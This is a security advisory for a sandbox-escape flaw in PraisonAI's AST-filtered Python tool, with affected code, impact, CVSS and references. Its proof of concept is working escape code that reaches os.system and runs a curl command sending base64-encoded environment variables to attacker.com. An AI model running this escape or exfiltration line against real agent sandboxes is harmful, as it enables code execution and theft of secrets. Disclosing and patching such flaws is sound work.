PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code. ## Description The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via: The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions. ```python type.__getattribute__(obj, '__subclasses__') # Bypasses filter ``` The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list. ## Proof of Concept ```python # This code bypasses the sandbox and achieves RCE t = type int_cls = t(1) # Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0] # Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn() # Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"') ``` --- ## Impact This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process. An attacker can: * Access sensitive data such as environment variables, API keys, and local files * Execute arbitrary system commands * Modify or delete files on the system In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure. --- ## Affected Code ```python # praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals) ``` **Reporter:** Lakshmikanthan K (letchupkt) Source Code Location: https://github.com/MervinPraison/PraisonAI Affected Packages: - pip:PraisonAI, affected < 4.5.128, patched in 4.5.128 CWEs: - CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-693: Protection Mechanism Failure CVSS: - Primary: score 8.6, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - CVSS_V3: score 8.6, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H References: - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7 - https://nvd.nist.gov/vuln/detail/CVE-2026-40158 - https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128 - https://github.com/advisories/GHSA-3c4r-6p77-xwr7